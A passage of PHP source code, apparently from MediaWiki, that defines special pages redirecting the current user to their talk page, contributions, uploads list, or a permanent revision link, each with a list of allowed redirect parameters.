'smaxage' ); } function getRedirect( $subpage ) { if ( strval( $subpage ) !== '' ) { return Title::makeTitle( NS_USER, $this->getUser()->getName() . '/' . $subpage ); } else { return Title::makeTitle( NS_USER, $this->getUser()->getName() ); } } } /** * Shortcut to construct a special page pointing to current user talk page. * @ingroup SpecialPage */ class SpecialMytalk extends RedirectSpecialPage { function __construct() { parent::__construct( 'Mytalk' ); $this->mAllowedRedirectParams = array( 'action' , 'preload' , 'editintro', 'section', 'oldid', 'diff', 'dir' ); } function getRedirect( $subpage ) { if ( strval( $subpage ) !== '' ) { return Title::makeTitle( NS_USER_TALK, $this->getUser()->getName() . '/' . $subpage ); } else { return Title::makeTitle( NS_USER_TALK, $this->getUser()->getName() ); } } } /** * Shortcut to construct a special page pointing to current user contributions. * @ingroup SpecialPage */ class SpecialMycontributions extends RedirectSpecialPage { function __construct() { parent::__construct( 'Mycontributions' ); $this->mAllowedRedirectParams = array( 'limit', 'namespace', 'tagfilter', 'offset', 'dir', 'year', 'month', 'feed' ); } function getRedirect( $subpage ) { return SpecialPage::getTitleFor( 'Contributions', $this->getUser()->getName() ); } } /** * Redirect to Special:Listfiles?user=$wgUser */ class SpecialMyuploads extends RedirectSpecialPage { function __construct() { parent::__construct( 'Myuploads' ); $this->mAllowedRedirectParams = array( 'limit' ); } function getRedirect( $subpage ) { return SpecialPage::getTitleFor( 'Listfiles', $this->getUser()->getName() ); } } /** * Redirect from Special:PermanentLink/### to index.php?oldid=### */ class SpecialPermanentLink extends RedirectSpecialPage { function __construct() { parent::__construct( 'PermanentLink' ); $this->mAllowedRedirectParams = array(); } function getRedirect( $subpage ) { $subpage = intval( $subpage ); if ( $subpage === 0 ) { # throw an error page when no subpage was given throw new ErrorPageError( 'nopagetitle', 'nopagetext' ); } $this->mAddedRedirectParams['oldid'] = $subpage; return true; } }
Close